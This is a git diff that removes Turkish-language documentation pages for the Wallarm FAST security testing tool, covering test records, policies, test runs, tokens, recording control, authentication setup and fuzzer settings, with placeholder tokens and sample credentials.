yapılan testlerle ilgilidir. Bu tür testler tüm varlıkları kullanır; bu nedenle bu varlıkların birbirleriyle nasıl etkileştiğine dair bütünsel içgörüler sağlamak mümkündür. - - FAST'i bir CI/CD iş akışına entegre ederken bu varlıklar değişmez; ancak adımların sırası belirli bir duruma göre farklılık gösterebilir. Ek ayrıntılar için [bu belgeyi][doc-ci-intro] okuyun. - -FAST aşağıdaki varlıkları kullanır: - -* [Test kaydı.][anchor-testrecord] -* [FAST test politikası.][anchor-testpolicy] -* [Test çalıştırması.][anchor-testrun] -* [Token.][anchor-token] - -Yukarıda bahsedilen varlıklar arasında birkaç önemli ilişki vardır: -* Bir test politikası ve bir test kaydı birden çok test çalıştırması ve FAST düğümü tarafından kullanılabilir. -* Bir token, Wallarm Cloud içindeki tek bir FAST düğümüyle, bu FAST düğümünü içeren tek bir Docker konteyneriyle ve tek bir test çalıştırmasıyla ilişkilidir. -* Mevcut token değerini, token başka bir düğümlü Docker konteyneri tarafından kullanılmıyorsa, FAST düğümünü içeren bir Docker konteynerine iletebilirsiniz. -* Başka bir test çalıştırması mevcutken FAST düğümü için yeni bir test çalıştırması oluşturursanız, mevcut test çalıştırması durur ve yenisiyle değiştirilir. - -![Bileşenler arasındaki ilişkiler][img-components-relations] - -## FAST’in Kullandığı Varlıklar - -FAST düğümü, istek kaynağından hedef uygulamaya giden tüm istekler için bir proxy görevi görür. Wallarm terminolojisine göre, bu isteklere temel istekler denir. - -FAST düğümü istekleri aldığında, daha sonra bunlara dayanarak güvenlik testleri oluşturmak için bu istekleri özel “test kaydı” nesnesine kaydeder. Wallarm terminolojisine göre bu sürece “temel isteklerin kaydı” denir. - -Temel istekler kaydedildikten sonra, FAST düğümü bir [test politikası][anchor-testpolicy] doğrultusunda bir güvenlik testi kümesi oluşturur. Ardından hedef uygulamayı zafiyetlere karşı değerlendirmek için güvenlik testi kümesi yürütülür. - -Test kaydı, daha önce kaydedilen temel isteklerin aynı hedef uygulamayı veya başka bir hedef uygulamayı yeniden test etmek için tekrar kullanılmasına olanak tanır; temel isteklerin FAST düğümü üzerinden aynı şekilde gönderilmesini tekrar etmenize gerek yoktur. Bu yalnızca test kaydındaki temel istekler uygulamayı test etmeye uygun olduğunda mümkündür. - - -### Test Kaydı - -FAST, güvenlik testi kümesini test kaydında depolanan temel isteklerden oluşturur. - -Bir test kaydını bazı temel isteklerle doldurmak için, bu test kaydına ve bir FAST düğümüne bağlı bir [test çalıştırması][anchor-testrun] yürütülmeli ve bazı temel isteklerin FAST düğümü üzerinden gönderilmesi gerekir. - -Alternatif olarak, test çalıştırması oluşturmadan da bir test kaydını doldurmak mümkündür. Bunu yapmak için FAST düğümünü kayıt modunda çalıştırmalısınız. Ayrıntılar için [bu belgeye][doc-node-deployment-ci-mode] bakın. - -Test kaydı isteklerle doldurulduğunda, test altındaki bir uygulama, test kaydında depolanan temel isteklerin bir alt kümesi kullanılarak zafiyetler açısından değerlendirilebiliyorsa, bu kayıt başka bir test çalıştırmasıyla kullanılabilir. - -Tek bir test kaydı birden fazla FAST düğümü ve test çalıştırması tarafından kullanılabilir. Bu, şu durumlarda yararlı olabilir: -* Aynı hedef uygulama tekrar test ediliyor. -* Birden fazla hedef uygulama aynı temel isteklerle eşzamanlı olarak test ediliyor. - -![Bir test kaydıyla çalışma][img-testrecord] - - -### FAST Test Politikası - -Bir test politikası, zafiyet tespiti sürecini yürütmek için bir dizi kural tanımlar. Özellikle, uygulamanın test edilmesi gereken zafiyet türlerini seçebilirsiniz. Ayrıca politika, bir güvenlik testi kümesi oluşturulurken temel istekteki hangi parametrelerin işlenmeye uygun olduğunu belirler. Bu veriler, hedef uygulamanın istismar edilip edilemeyeceğini anlamak için kullanılacak test isteklerini oluşturmak üzere FAST tarafından kullanılır. - -Yeni bir politikayı [oluşturabilir][link-create-policy] veya [mevcut bir politikayı][link-use-policy] kullanabilirsiniz. - -!!! info "Uygun Test Politikasını Seçme" - Test politikasının seçimi, test edilen hedef uygulamanın nasıl çalıştığına bağlıdır. Test ettiğiniz her uygulama için ayrı bir test politikası oluşturmanız önerilir. - -!!! info "Ek Bilgi" - - * Hızlı Başlangıç kılavuzundan [test politikası örneği][doc-testpolicy-creation-example] - * [Test politikası ayrıntıları][doc-policy-in-detail] - -### Test Çalıştırması - -Bir test çalıştırması, zafiyet test sürecinin tek bir yinelemesini tanımlar. - -Bir test çalıştırması şunları içerir: - -* [Test politikası][anchor-testpolicy] tanımlayıcısı -* [Test kaydı][anchor-testrecord] tanımlayıcısı - -FAST düğümü, hedef bir uygulamanın güvenlik testini gerçekleştirirken bu değerlerden yararlanır. - -Her test çalıştırması tek bir FAST düğümüyle sıkı biçimde ilişkilidir. Bu düğüm için test çalıştırması `A` devam ederken FAST düğümü için yeni bir `B` test çalıştırması oluşturursanız, `A` test çalıştırmasının yürütülmesi iptal edilir ve `B` test çalıştırmasıyla değiştirilir. - -İki farklı test senaryosu için bir test çalıştırması oluşturmak mümkündür: -* İlk senaryoda, bir hedef uygulama zafiyetler açısından test edilirken, temel isteklerin kaydı da eşzamanlı olarak (yeni bir test kaydına) yapılmaktadır. Temel isteklerin kaydedilebilmesi için isteklerin istek kaynağından hedef uygulamaya FAST düğümü üzerinden akması gerekir. - - Bu senaryo için bir test çalıştırmasının oluşturulması, bu kılavuz boyunca “test çalıştırması oluşturma” olarak anılacaktır. - -* İkinci senaryoda, bir hedef uygulama, mevcut ve boş olmayan bir test kaydından çıkarılan temel istekler kullanılarak zafiyetler açısından test edilir. Bu senaryoda herhangi bir istek kaynağını dağıtmanız gerekmez. - - Bu senaryo için bir test çalıştırmasının oluşturulması, bu kılavuz boyunca “test çalıştırması kopyalama” olarak anılacaktır. - -Bir test çalıştırması oluşturduğunuzda veya kopyaladığınızda, yürütmesi hemen başlar. Etkin senaryoya bağlı olarak yürütme süreci farklı adımları izler (aşağıya bakın). - -### Test Çalıştırması Yürütme Akışı (temel isteklerin kaydı gerçekleşir) - -Bir test çalıştırması oluşturduğunuzda, yürütmesi hemen başlar ve şu adımları izler: - -1. Bir FAST düğümü bir test çalıştırmasını bekler. - - FAST düğümü, test çalıştırmasının başladığını anladığında, test politikasını ve test kaydı tanımlayıcılarını test çalıştırmasından alır. - -2. Tanımlayıcılar alındıktan sonra, temel isteklerin kayıt süreci başlar. - - Artık FAST düğümü istek kaynağından hedef uygulamaya gelen istekleri almaya hazırdır. - -3. İstek kaydının etkin olduğu dikkate alındığında, mevcut testlerin yürütülmesini başlatma zamanıdır. HTTP ve HTTPS istekleri FAST düğümü üzerinden gönderilir ve düğüm bunları temel istek olarak tanır. - - Tüm temel istekler, test çalıştırmasıyla ilişkili test kaydında depolanacaktır. - -4. Test yürütmesi tamamlandıktan sonra kayıt sürecini durdurabilirsiniz. - - Bir test çalıştırması oluşturulduktan sonra özel bir zaman aşımı değeri ayarlanır. Bu değer, FAST'in temel isteklerin yokluğu nedeniyle kayıt sürecini durdurmadan önce yeni temel istekleri ne kadar süre beklemesi gerektiğini belirler ([`inactivity_timeout`][doc-about-timeout] parametresi). - - Kayıt sürecini manuel olarak durdurmazsanız: - - * FAST güvenlik testleri çoktan bitmiş olsa bile, test çalıştırması zaman aşımı değeri dolana kadar yürütmesine devam eder. - * Diğer test çalıştırmaları, bu test çalıştırması durana kadar test kaydını yeniden kullanamaz. - - Bekleyen başka temel istek yoksa kayıt sürecini FAST düğümünde durdurabilirsiniz. Şunlara dikkat edin: - - * Güvenlik testlerinin oluşturulması ve yürütülmesi süreçleri durdurulmaz. Test çalıştırmasının yürütmesi, hedef uygulamanın zafiyetlere karşı değerlendirilmesi tamamlandığında durur. Bu davranış, CI/CD işinin yürütme süresini azaltmaya yardımcı olur. - * Kayıt durdurulur durdurulmaz diğer test çalıştırmaları test kaydını yeniden kullanma olanağı kazanır. - -5. FAST düğümü, gelen her temel isteğe dayalı olarak bir veya daha fazla test isteği oluşturur (yalnızca temel istek uygulanan test politikasını sağlıyorsa). - -6. FAST düğümü, test isteklerini hedef uygulamaya göndererek yürütür. - -Temel isteklerin kayıt sürecinin durdurulması, test isteklerinin oluşturulması ve yürütülmesi süreçlerini etkilemez. - -Temel isteklerin kaydedilmesi ile FAST güvenlik testlerinin oluşturulması ve yürütülmesi süreçleri paralel olarak çalışır: - -![Test çalıştırması yürütme akışı (temel istek kaydı gerçekleşir)][img-execution-timeline-recording] - -Not: yukarıdaki grafik, [FAST hızlı başlangıç kılavuzunda][doc-quick-start] açıklanan akışı göstermektedir. Temel istek kaydının olduğu bir akış, manuel güvenlik testi veya CI/CD araçları kullanılarak otomatik güvenlik testi için uygundur. - -Bu senaryoda, test çalıştırmasını yönetmek için Wallarm API gereklidir. Ayrıntılar için [bu belgeye][doc-node-deployment-api] bakın. - - -### Test Çalıştırması Yürütme Akışı (önceden kaydedilmiş temel istekler kullanılır) - -Bir test çalıştırmasını kopyaladığınızda, yürütmesi hemen başlar ve şu adımları izler: - -1. Bir FAST düğümü bir test çalıştırmasını bekler. - - FAST düğümü, test çalıştırmasının başladığını anladığında, test politikasını ve test kaydı tanımlayıcılarını test çalıştırmasından alır. - -2. Tanımlayıcılar alındıktan sonra, düğüm temel istekleri test kaydından çıkarır. - -3. FAST düğümü, çıkarılan her bir temel isteğe dayanarak bir veya daha fazla test isteği oluşturur (yalnızca temel istek uygulanan test politikasını sağlıyorsa). - -4. FAST düğümü, test isteklerini hedef uygulamaya göndererek yürütür. - -Temel isteklerin çıkarılması süreci, FAST güvenlik testlerinin oluşturulması ve yürütülmesinden önce gerçekleşir: - -![Test çalıştırması yürütme akışı (önceden kaydedilmiş temel istekler kullanılır)][img-execution-timeline-no-recording] - -Bunun, [FAST hızlı başlangıç kılavuzunda][doc-quick-start] kullanılan yürütme akışı olduğunu unutmayın. Önceden kaydedilmiş temel istekleri kullanan akış, CI/CD araçlarıyla otomatik güvenlik testi için uygundur. - -Bu senaryoda, test çalıştırmasını yönetmek için Wallarm API veya CI modunda FAST düğümü kullanılabilir. Ayrıntılar için [bu belgeye][doc-integration-overview] bakın. - -Aşağıdaki grafik, yukarıda gösterilen zaman çizelgesine uyan en yaygın karşılaşılan CI/CD iş akışını göstermektedir: - -![Test çalıştırması yürütme akışı (CI Modu)][img-common-timeline-no-recording] - - -## Test Çalıştırmalarıyla Çalışma - -Bu kılavuzu okurken, özellikle API çağrılarını kullanarak test çalıştırması yürütme sürecini nasıl yöneteceğinizi öğreneceksiniz: -* İstek kaynağından başka istek gelmiyorsa, temel isteklerin kayıt sürecini nasıl durduracağınız. -* Test çalıştırması yürütme durumunu nasıl kontrol edeceğiniz. - -Bu tür API çağrılarını yapmak ve test çalıştırmasını FAST düğümüne bağlamak için bir [token][anchor-token] edinmeniz gerekir. - -### Token - -Bir FAST düğümü şunlardan oluşur: -* FAST yazılımının çalışır durumda olduğu Docker konteyneri. - - Trafiğin proxy’lenmesi, güvenlik testlerinin oluşturulması ve yürütülmesi süreçleri burada gerçekleşir. - -* Wallarm Cloud içindeki FAST düğümü. - -Bir token, çalışan Docker konteynerini buluttaki FAST düğümüne bağlar: - -![FAST düğümü][img-fast-node] - -Bir FAST düğümünü dağıtmak için şunları yapın: -1. [Wallarm portal][link-wl-portal-node-tab] üzerinden Wallarm Cloud içinde bir FAST düğümü oluşturun. Sağlanan token'ı kopyalayın. -2. Düğümle birlikte bir Docker konteyneri dağıtın ve token değerini konteynere iletin (bu süreç [burada][doc-node-deployment] ayrıntılı olarak açıklanmıştır). - -Token şu amaçlara da hizmet eder: -* Test çalıştırmasını FAST düğümüne bağlamak. -* API çağrıları yaparak test çalıştırması yürütme sürecini yönetmenize izin vermek. - -Gerektiği kadar çok FAST düğümünü Wallarm Cloud içinde oluşturabilir ve her düğüm için bir token alabilirsiniz. Örneğin, FAST'in gerekli olduğu birkaç CI/CD işiniz varsa, her iş için bulutta bir FAST düğümü başlatabilirsiniz. - -Token'ları, başka etkin FAST düğümlü Docker konteynerleri tarafından kullanılmıyorlarsa yeniden kullanmak mümkündür (ör. aynı token'ı kullanan düğümlü herhangi bir Docker konteyneri durdurulmuş veya kaldırılmışsa): - -![Token’ı yeniden kullanma][img-reuse-token] \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/stop-recording.md b/docs/latest-tr/fast/operations/stop-recording.md deleted file mode 100644 index f41d3ffd19..0000000000 --- a/docs/latest-tr/fast/operations/stop-recording.md +++ /dev/null @@ -1,59 +0,0 @@ -[img-stop-recording-item]: ../../images/fast/operations/common/stop-recording/stop-recording-gui.png - -[doc-about-tr-token]: internals.md -[doc-testrun-copying-api]: copy-testrun.md#copying-a-test-run-via-an-api -[doc-testrun-copying-gui]: copy-testrun.md#copying-a-test-run-via-web-interface - -[link-stop-explained]: internals.md#test-run-execution-flow-baseline-requests-recording-takes-place - - -# Kayıt İşlemini Durdurma - -!!! info "Gerekli veriler" - API üzerinden kaydı durdurmak için aşağıdaki veriler gereklidir: - - * bir token - * bir test çalıştırması tanımlayıcısı - - Web arayüzü üzerinden kaydı durdurmak için bir Wallarm hesabına ihtiyacınız vardır. - - Test çalıştırması ve token hakkında ayrıntılı bilgiyi [buradan][doc-about-tr-token] edinebilirsiniz. - - Bu belgede aşağıdaki değerler örnek olarak kullanılmıştır: - - * token olarak `token_Qwe12345`. - * bir test çalıştırmasının tanımlayıcısı olarak `tr_1234`. - -Temel isteklerin kaydını durdurma gereksinimi [bağlantıda][link-stop-explained] açıklanmıştır. - -## API ile Kayıt İşlemini Durdurma - -Kayıt işlemini durdurmak için `https://us1.api.wallarm.com/v1/test_run/test_run_id/action/stop` URL'sine POST isteği gönderin: - ---8<-- "../include/fast/operations/api-stop-recording.md" - -API sunucusuna yapılan istek başarılı olursa, sunucu bir yanıt döndürür. Yanıt aşağıdakiler de dahil olmak üzere faydalı bilgiler sağlar: -* kayıt işleminin durumu (`recording` parametresinin değeri). -* ilgili test kaydının tanımlayıcısı (`test_record_id` parametresi). - -Parametrenin değeri `false` ise durdurma başarılıdır. - -Durdurma başarılıysa, `test_record_id` tanımlayıcısına sahip test kaydını kullanarak [test çalıştırmalarını kopyalamak][doc-testrun-copying-api] mümkündür. - -## Web Arayüzü ile Kayıt İşlemini Durdurma - -Kayıt işlemini web arayüzü üzerinden durdurmak için lütfen aşağıdaki adımları izleyin: - -1. AB bulutu için [bu bağlantı](https://my.wallarm.com/testing/testruns) ya da ABD bulutu için [bu bağlantı](https://us1.my.wallarm.com/testing/testruns) üzerinden Wallarm hesabınız > **Test runs** bölümüne gidin. - -2. Kaydını durdurmak istediğiniz test çalıştırmasını seçin ve eylem menüsünü açın. - -3. **Stop recording** seçeneğini seçin. - - ![Web arayüzü üzerinden kaydı durdurma][img-stop-recording-item] - -Kayıt durdurulduğunda, **Baseline req.** sütununun solundaki REQ göstergesi kapanacaktır. - -Test kaydının kimliği **Test record name/Test record ID** sütununda görüntülenir. - -Gerekirse, web arayüzünü kullanarak [bu test çalıştırmasını kopyalayabilir][doc-testrun-copying-gui] ve yeni test belirtilen test kaydını yeniden kullanacaktır. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-authentication.md b/docs/latest-tr/fast/operations/test-authentication.md deleted file mode 100644 index b59e51a914..0000000000 --- a/docs/latest-tr/fast/operations/test-authentication.md +++ /dev/null @@ -1,52 +0,0 @@ -# Test Çalıştırmalarının Kimlik Doğrulamasını Yapılandırma - -Uygulamanıza gelen isteklerin kimlik doğrulaması gerekiyorsa, güvenlik testleri de kimlik doğrulaması gerektirir. Bu talimat, test çalıştırmalarını başarıyla kimlik doğrulamadan geçirmek için kimlik bilgilerinin iletilme yöntemini sağlar. - -## Test Çalıştırması Kimlik Doğrulamasını Yapılandırma Yöntemi - -Test çalıştırması kimlik doğrulaması için kimlik bilgilerini iletmek amacıyla, FAST node Docker konteynerini [dağıtmadan](../qsg/deployment.md#4-deploy-the-fast-node-docker-container) önce aşağıdaki adımları uygulayın: - -1. `.yml` veya `.yaml` uzantılı yerel bir dosya oluşturun. Örneğin: `auth_dsl.yaml`. -2. Oluşturulan dosyada [FAST DSL](../dsl/intro.md) sözdizimini kullanarak kimlik doğrulama parametrelerini aşağıdaki şekilde tanımlayın: - 1. Dosyaya [`modify`](../dsl/phase-modify.md) bölümünü ekleyin. - 2. `modify` bölümünde, kimlik doğrulama parametrelerinin iletildiği istek bölümünü belirtin. İstek bölümü [nokta](../dsl/points/basics.md) biçiminde belirtilmelidir. - - !!! info "Token parametresi için bir nokta örneği" - İstek kimlik doğrulaması için bir token kullanılıyor ve değeri `Cookie` istek başlığındaki `token` parametresinde iletiliyorsa, nokta şu şekilde görünebilir: `HEADER_COOKIE_COOKIE_token_value`. - - 3. Kimlik doğrulama parametrelerinin değerlerini aşağıdaki şekilde belirtin: - - ``` - modify: - - HEADER_COOKIE_COOKIE_token_value: "fl49qam93mfu0uhgh00gilssj2" - ``` - - Kullanılan kimlik doğrulama parametrelerinin sayısı sınırlandırılmamıştır. -3. Konteyneri dağıtırken `-v {path_to_folder}:/opt/dsl_auths` seçeneğini kullanarak `.yml`/`.yaml` dosyasını içeren dizini FAST node Docker konteynerine bağlayın. Örneğin: - ``` - docker run --name fast-proxy -e WALLARM_API_TOKEN='dfjyt8C79DxZptWwQS3/0RHiuJLNFrqTdgCIzPPZq' -v /home/username/dsl_auth:/opt/dsl_auths -p 8080:8080 wallarm/fast - ``` - - !!! warning "Bağlanan dizindeki dosyalar" - Lütfen bağlanan dizinde yalnızca kimlik doğrulama kimlik bilgilerini içeren dosyanın bulunması gerektiğine dikkat edin. - -## .yml/.yaml Dosyalarında Tanımlı Kimlik Doğrulama Parametreleri Örnekleri - -`.yml`/`.yaml` dosyasında tanımlanan parametre seti, uygulamanızda kullanılan kimlik doğrulama yöntemine bağlıdır. - -Aşağıda API isteklerinin en yaygın kimlik doğrulama yöntemlerini tanımlamaya yönelik örnekler yer almaktadır: - -* `username` ve `password` parametreleri `Cookie` istek başlığında iletilir - - ``` - modify: - - HEADER_Cookie_COOKIE_username_value: "test_account" - - HEADER_Cookie_COOKIE_password_value: "Qww3okei" - ``` - -* `token` parametresi `Cookie` istek başlığında iletilir - - ``` - modify: - - HEADER_COOKIE_COOKIE_token_value: "fl49qam93mfu0uhgh00gilssj2" - ``` \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/attacks-to-test.md b/docs/latest-tr/fast/operations/test-policy/attacks-to-test.md deleted file mode 100644 index e2026069b2..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/attacks-to-test.md +++ /dev/null @@ -1,45 +0,0 @@ -[img-custom-dsl-slider]: ../../../images/fast/operations/en/test-policy/policy-editor/custom-slider.png - -[link-user-extensions]: ../../dsl/intro.md -[link-connect-extensions]: ../../dsl/using-extension.md - -[doc-fuzzer]: fuzzer-intro.md - -[gl-vuln]: ../../terms-glossary.md#vulnerability - -[vuln-ptrav]: ../../vuln-list.md#path-traversal -[vuln-rce]: ../../vuln-list.md#remote-code-execution-rce -[vuln-sqli]: ../../vuln-list.md#sql-injection -[vuln-xss]: ../../vuln-list.md#cross-site-scripting-xss -[vuln-xxe]: ../../vuln-list.md#attack-on-xml-external-entity-xxe - - -# Güvenlik Açığı Tespit Sürecinin Yapılandırılması - -FAST, [güvenlik açıklarını][gl-vuln] aşağıdaki seçeneklerle tespit eder: - -* Yerleşik FAST uzantıları -* [Özel uzantılar][link-user-extensions] - - !!! info "Özel uzantılar" - Özel uzantıları kullanmak için, lütfen bunları FAST düğümüne [bağlayın][link-connect-extensions]. - -Uygulamadaki güvenlik açıklarının tespit edilme şeklini şu yollarla kontrol edebilirsiniz: - -* Testleri yerleşik FAST uzantısını kullanarak gerçekleştirmek istiyorsanız, test etmek istediğiniz güvenlik açıklarının onay kutularını işaretleyin. -* Testleri, yerleşik FAST uzantılarını hariç tutup yalnızca özel uzantıları kullanarak gerçekleştirmek istiyorsanız, tüm onay kutularının işaretini kaldırın veya **Use only custom DSL** anahtarını etkinleştirip listeden güvenlik açıklarını seçin. - - ![Use only custom DSL anahtarı][img-custom-dsl-slider] - - Lütfen unutmayın: **Use only custom DSL** anahtarı etkinleştirilirse, yerleşik FAST uzantıları ve [FAST fuzzer][doc-fuzzer] devre dışı bırakılır. FAST fuzzer etkinleştirilirse, **Use only custom DSL** anahtarı tekrar pasif hale gelir. - -!!! info "Temel güvenlik açıkları" - Bir politika oluştururken, uygulamalarda tespit edilebilecek en tipik güvenlik açıkları varsayılan olarak seçilir: - - * [yol geçişi (PTRAV)][vuln-ptrav], - * [uzaktan kod yürütme (RCE)][vuln-rce], - * [SQL enjeksiyonu (SQLi)][vuln-sqli], - * [siteler arası betik çalıştırma (XSS)][vuln-xss], - * [XML dış varlık (XXE) saldırısına karşı güvenlik açığı][vuln-xxe]. - - Özel politikalar kullanıyorsanız, dilediğiniz anda ilgili onay kutusunun işaretini kaldırarak uygulamanın belirli bir güvenlik açığına karşı test edilmesini devre dışı bırakabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/examples.md b/docs/latest-tr/fast/operations/test-policy/examples.md deleted file mode 100644 index 19552e113e..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/examples.md +++ /dev/null @@ -1,104 +0,0 @@ -# Test Politikası Örnekleri - -Bu belgede, FAST test politikalarına ilişkin birkaç örnek sunulmaktadır; FAST dokümantasyonunda kullanılanlar da dahil. Bu örnekler, politikalarla çalışmanın tüm yönlerini gösterir. - -!!! info "İstek öğesi açıklama söz dizimi" - FAST test politikası, bir FAST düğümünün temel isteğin belirli öğeleriyle çalışmasına izin verir veya bunu reddeder. - - Bu öğeler [point'lar](../../dsl/points/intro.md) kullanılarak tanımlanır. - - Aşağıdaki örnek test politikalarında, her temel isteğin öğesinin ardından karşılık gelen point yer alır; örneğin: herhangi bir GET parametresi (`GET_.*`). - -!!! info "Zafiyetlerin tespiti" - [FAST'in tespit edebildiği zafiyetlerin listesi](../../vuln-list.md) - - Lütfen bir test politikası yapılandırılırken seçilen zafiyet türlerinin, hangi yerleşik FAST uzantılarının (diğer adıyla detects) çalıştırılacağını etkilediğini unutmayın. - - Özel FAST uzantıları, politika yapılandırılırken bu zafiyet türü seçilmemiş olsa bile, tasarlandıkları zafiyet türünü tespit etmeye çalışacaktır. - - Örneğin, bir politika hedef uygulamayı RCE açısından test etmeye izin verebilir, ancak özel bir uzantı uygulamayı SQLi zafiyetleri için test edecektir. - -## Varsayılan Test Politikası - -Bu, yaygın istek öğeleriyle çalışmaya ve tipik zafiyetleri test etmeye izin veren değiştirilemez bir test politikasıdır. - -**Bu politika aşağıdaki öğelerle çalışmaya izin verir:** - -* herhangi bir GET ve POST parametresi (`GET_.*` ve `POST_.*`) -* URI (`URI`) -* URI içindeki herhangi bir yol (`PATH_.*`) -* URL eylem adı ve uzantısı (`ACTION_NAME` ve `ACTION_EXT`) - -**Hedef uygulama**, yerleşik FAST uzantıları tarafından PTRAV, RCE, SQLI, XSS ve XXE zafiyetleri için test edilecektir. - -**Bu politikanın aşağıdaki özellikleri vardır:** fuzzing desteklemez. Fuzzer'ı etkinleştirmek için ayrı bir test politikası oluşturun ([örnek](#policy-that-allows-working-with-uri-and-encoded-email-post-parameters-fuzzer-is-enabled)). - -![Politika örneği](../../../images/fast/operations/en/test-policy/examples/default-policy-example.png) - -!!! info "Not" - Lütfen aşağıdakileri göz önünde bulundurun: - - * Yeni bir test politikası oluşturduğunuzda, ayarları varsayılan politikada kullanılanlarla aynı olur. Yeni politikanın ayarlarını gerektiği gibi değiştirebilirsiniz. - * Bu politika, FAST'in CI/CD'ye entegrasyonuna ilişkin [örneğinde](../../poc/examples/circleci.md) kullanılabilir. - -## Tüm GET ve POST Parametreleriyle Çalışmaya İzin Veren Politika - -Bu test politikası, bir istekteki tüm GET (`GET_.*`) ve POST (`POST_.*`) parametreleriyle çalışmaya izin verir. - -**Hedef uygulama**, yerleşik FAST uzantıları tarafından XSS zafiyeti için test edilecektir. - -**Bu politikanın aşağıdaki özellikleri vardır:** fuzzer devre dışıdır. - -![Politika örneği](../../../images/fast/operations/en/test-policy/examples/get-post-policy-example.png) - -!!! info "Not" - Hızlı Başlangıç kılavuzunda, bu politika [Google Gruyere](../../qsg/test-run.md) hedef uygulamasının güvenlik testini yürütmek için kullanılabilir. - -## URI ve Kodlanmış email POST Parametresiyle Çalışmaya İzin Veren Politika (Yalnızca Özel FAST Uzantılarının Çalıştırılmasına İzin Verilir) - -Bu test politikası, bir istekteki URI (`URI`) ve `email` POST parametreleriyle çalışmaya izin verir. `email` parametresi JSON içinde kodlanmıştır (`POST_JSON_DOC_HASH_email_value`). - -**Bu politikanın aşağıdaki özellikleri vardır:** - -* Yalnızca özel FAST uzantılarının çalıştırılmasına izin verilir, yerleşik FAST detects çalıştırılmaz. -* Fuzzer devre dışıdır. - -![Politika örneği](../../../images/fast/operations/en/test-policy/examples/custom-dsl-example.png) - -!!! info "Not" - Bu politika, [örnek özel uzantıları](../../dsl/using-extension.md) çalıştırmak için kullanılabilir. - -## URI ve Kodlanmış email POST Parametreleriyle Çalışmaya İzin Veren Politika (Fuzzer Etkin) - -Bu politika, bir istekteki `email` POST parametresiyle çalışmaya izin verir. `email` parametresi JSON içinde kodlanmıştır (`POST_JSON_DOC_HASH_email_value`). - -**Bu politikanın aşağıdaki özellikleri vardır:** - -* Fuzzer etkindir. -* Tüm yerleşik FAST uzantıları devre dışıdır (hiçbir zafiyet seçilmemiştir). Fuzzer kullanılırken bu mümkündür. - -**Bu örnek politikada fuzzer şu şekilde yapılandırılmıştır:** - -* 123 bayta kadar payload'lar, bir point'in kodu çözülmüş değerinin başına eklenecektir (bu özel durumda tek bir point vardır: `POST_JSON_DOC_HASH_email_value`). -* Şu varsayılır: - - * Sunucu yanıt gövdesinde `SQLITE_ERROR` dizesi bulunuyorsa bir anomali bulunduğu varsayılır. - * Sunucu yanıt kodu değeri `500`'den küçükse anomali bulunmadığı varsayılır. - * Tüm payload'lar kontrol edilmişse veya ikiden fazla anomali bulunmuşsa fuzzer yürütmesini durdurur. - -![Politika örneği](../../../images/fast/operations/en/test-policy/examples/enabled-fuzzer-example.png) - -!!! info "Not" - Bu politika, [OWASP Juice Shop oturum açma formundaki](../../dsl/extensions-examples/overview.md) zafiyetleri bulmak için kullanılabilir. - -## Belirli Bir Point'in Değeriyle Çalışmayı Reddeden Politika - -Bu test politikası, bir istekteki `sessionid` GET parametresi (`GET_sessionid_value`) hariç tüm GET (`GET_.*`) parametreleriyle çalışmaya izin verir. - -FAST'in belirli bir point ile çalışmasının engellenmesi gerekiyorsa (örneğin, belirli bir parametre değerinin istemeden değiştirilmesi hedef uygulamanın çalışmasını bozabilecekse) bu tür bir davranışı yapılandırmak faydalı olabilir. - -**Hedef uygulama**, yerleşik FAST uzantıları tarafından AUTH ve IDOR zafiyetleri için test edilecektir. - -**Bu politikanın aşağıdaki özellikleri vardır:** fuzzer devre dışıdır. - -![Örnek politika](../../../images/fast/operations/en/test-policy/examples/sessionid-example.png) \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/test-policy/fuzzer-configuration.md b/docs/latest-tr/fast/operations/test-policy/fuzzer-configuration.md deleted file mode 100644 index 8c387f7257..0000000000 --- a/docs/latest-tr/fast/operations/test-policy/fuzzer-configuration.md +++ /dev/null @@ -1,103 +0,0 @@ -[img-enable-fuzzer]: ../../../images/fast/operations/common/test-policy/fuzzer/fuzzer-slider.png -[img-manipulate-items]: ../../../images/fast/operations/common/test-policy/fuzzer/manipulate-fuzzer-items.png -[img-anomaly-condition]: ../../../images/fast/operations/common/test-policy/fuzzer/anomaly-condition.png -[img-not-anomaly-condition]: ../../../images/fast/operations/common/test-policy/fuzzer/not-anomaly-condition.png -[img-stop-condition]: ../../../images/fast/operations/common/test-policy/fuzzer/stop-condition.png - -[link-ruby-regexp]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -[anchor-payloads-section]: #the-payloads-section -[anchor-anomaly-section]: #the-consider-result-an-anomaly-if-response-section -[anchor-not-anomaly-section]: #the-consider-result-not-an-anomaly-if-response-section -[anchor-stop-section]: #the-stop-fuzzing-if-response-section - -# Fuzzer Yapılandırması - -!!! info "Fuzzer'ı etkinleştirme" - Fuzzer varsayılan olarak devre dışıdır. Wallarm hesabınızdaki policy editor içinde **Fuzz testing** bölümünden etkinleştirebilirsiniz: - - ![Fuzzer'ı etkinleştirme][img-enable-fuzzer] - - **Fuzz testing** bölümündeki fuzzer anahtarı ile **Attacks to test** bölümündeki **Use only custom DSL** anahtarı birbirini dışlar. - - İlke varsayılan olarak bir fuzzer'ı desteklemez. - -Fuzzer ve anomali algılama ile ilgili ayarlar, policy editor içindeki **Fuzz testing** bölümünde yer alır. - -Uygulamayı anomaliler için test etmek amacıyla, FAST anomali baytları içeren bir payload ile gönderilen isteğe hedef uygulamanın verdiği yanıtı analiz eder. Belirtilen koşullara bağlı olarak, FAST tarafından gönderilen istek anomalik olarak tanınır veya tanınmaz. - -Wallarm hesabınızdaki policy editor şunları yapmanıza olanak tanır: - -* **Add payload** ve **Add another payload** düğmelerine tıklayarak payload eklemek -* **Add condition** ve **Add another condition** düğmelerine tıklayarak fuzzer işleyişini etkileyen koşullar eklemek -* Yanlarındaki «—» simgesine tıklayarak oluşturulan payload ve koşulları silmek - -![Payload ve koşul yönetimi][img-manipulate-items] - -Koşulları yapılandırırken aşağıdaki parametreleri kullanabilirsiniz: - -* **Status**: HTTPS yanıt kodu -* **Length**: yanıt uzunluğu (bayt cinsinden) -* **Time**: yanıt süresi (saniye cinsinden) -* **Length diff**: FAST isteğine gelen yanıt ile orijinal baseline isteğine gelen yanıtın uzunluk farkı (bayt cinsinden) -* **Time diff**: FAST isteğine gelen yanıt süresi 